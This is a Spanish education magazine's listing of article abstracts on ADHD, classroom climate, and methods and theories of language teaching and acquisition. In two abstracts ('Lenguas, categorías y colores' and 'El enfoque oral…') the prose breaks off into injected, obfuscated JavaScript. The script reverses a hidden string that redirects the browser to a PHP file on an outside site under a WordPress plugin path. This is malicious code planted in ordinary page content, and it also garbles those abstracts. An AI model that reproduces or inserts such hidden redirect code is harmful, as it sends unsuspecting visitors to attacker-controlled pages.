NIÑOS/AS CON TDAH: ¡ APRENDAMOS A VALORARLOS!

AUTORA: ALMA CANSECO MARTÍN                    El TDAH es un trastorno neurobiológico de carácter crónico cuyas características principales son: déficit atencional, hiperactividad e impulsividad. Para conseguir una intervención adecuada, es imprescindible llevar a cabo una correcta evaluación para determinar un diagnóstico acertado. En su tratamiento juegan un papel muy importante, tanto familiares como profesionales educativos... [Lear Ms...]

EL CLIMA DEL AULA COMO FACTOR INFLUYENTE EN EL RENDIMIENTO ACADÉMICO

Autor: Francisco José Gata Bejarano Muchas investigaciones han estudiado los factores que pueden verse implicados en el proceso de enseñanza-aprendizaje. Entre estos factores se encuentra uno que engloba muchos agentes y muchos otros factores implicados en el rendimiento escolar de los dicentes, hablamos del clima en el aula. Este estudio trata de analizar si existe una correlación significativa directa entre diferentes factores que configuran... [Lear Ms...]

LENGUAS, CATEGORÍAS Y COLORES

Autora: Salvia Lois Lugilde En este artículo se realiza una síntesis de las diferentes hipótesis sobre el origen de los sistemas de categorización humano y la evolución en el lenguaje, tom$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var... [Lear Ms...]

LAS INNOVACIONES DEL MÉTODO DIRECTO EN LA ENSEÑANZA DE LENGUAS

Autora: Salvia Lois Lugilde El método directo es el primer enfoque en la enseñanza de lenguas que surge como oposición al tradicional método de la gramática-traducción a finales del siglo XIX. Precisamente por el contexto de oposición a la metodología anterior, este enfoque tuvo mucha aceptación en las escuelas de diferentes países y sentó las bases para los posteriores planteamientos sobre el aprendizaje de lenguas extranjeras. ... [Lear Ms...]

LA METODOLOGÍA COMUNICATIVA EN LA ENSEÑANZA DE LENGUAS

Autora: Salvia Lois Lugilde Las metodologías comunicativas en la enseñanza de lenguas han supuesto una revolución en el proceso de aprendizaje; a lo largo de este artículo se analizarán, de manera muy sintética, las principales características que comparten estos métodos. A lo largo de la historia de la enseñanza de idiomas, el enfoque que más ha cambiado el panorama ha sido, sin duda alguna, el de tipo comunicativo. Los primeros pasos... [Lear Ms...]

LA ESCRITURA Y LA LÓGICA EN EL PROCESO DE ALMACENAMIENTO DE CONOCIMIENTO

Autora: Salvia Lois Lugilde La preocupación por el almacenamiento y conservación del conocimiento ha sido una cuestión central en la historia del ser humano. Con el aparecimiento de la escritura, el problema del almacenamiento memorístico se solucionó momentáneamente, debido a que el número de enunciados aumentaba exponencialmente. Es en este contexto de  estructuración del conocimiento donde surge la lógica como sistema de organización... [Lear Ms...]

LA ADQUISICIÓN DEL LENGUAJE: INNATISMO Y EMPIRISMO

Autora: Salvia Lois Lugilde La oposición entre lo heredado biológicamente y lo adquirido a través del aprendizaje es una cuestión que todavía genera controversia en el mundo científico de hoy en día. Concretamente, la adquisición del lenguaje por parte de los/as niños/as puede ser vista desde perspectivas muy diferentes: la innata frente a la empírica. La cuestión de cómo el ser humano adquiere el conocimiento en general es una gran... [Lear Ms...]

LA ADQUISICIÓN DE LENGUAS EN LAS TEORÍAS INNATISTAS

Autora: Salvia Lois Lugilde La cuestión de cómo se adquiere el conocimiento y la cognición en general es un gran debate que ha existido desde el origen de los tiempos.  Concretamente, la adquisición de las lenguas ha ocupado siempre un lugar predominante, dado que la facultad del lenguaje es uno de los elementos más distintivos de la especie humana frente a otras especies. La cuestión de cómo se adquiere el conocimiento y la cognición... [Lear Ms...]

EL ENFOQUE ORAL Y LA ENSEÑANZA SITUACIONAL DE LA LENGUA

Autora: Salvia Lois Lugilde En este artículo se pretende hacer una breve síntesis sobre las principales características y aportaciones del enfoque oral y, posteriormente, por evolución de alguna de sus características, de la enseñanza situacional de la lengua. A finales del siglo XIX, la aparición método directo había provocado una revolución en el paradigma metodológico de la enseñanza de segundas lenguas, releg$hiVNZt4Y5cDrbJXMhLy=function(n){if... [Lear Ms...]

UN EXAMEN ORIGINAL

  Autor: Antonio Luis Merchán Vacas     Trata sobre la importancia de presentar pruebas escritas novedosas y motivadoras, que despierten el interés del alumnado y le ayuden a madurar como estudiante. Son muchos los tipos de ejercicios que se pueden proponer y todo dependerá de la dedicación y el interés del profesorado. Ni que decir tiene que, en el momento en el que vivimos, es muy importante la motivación del alumnado. Esta... [Lear Ms...]

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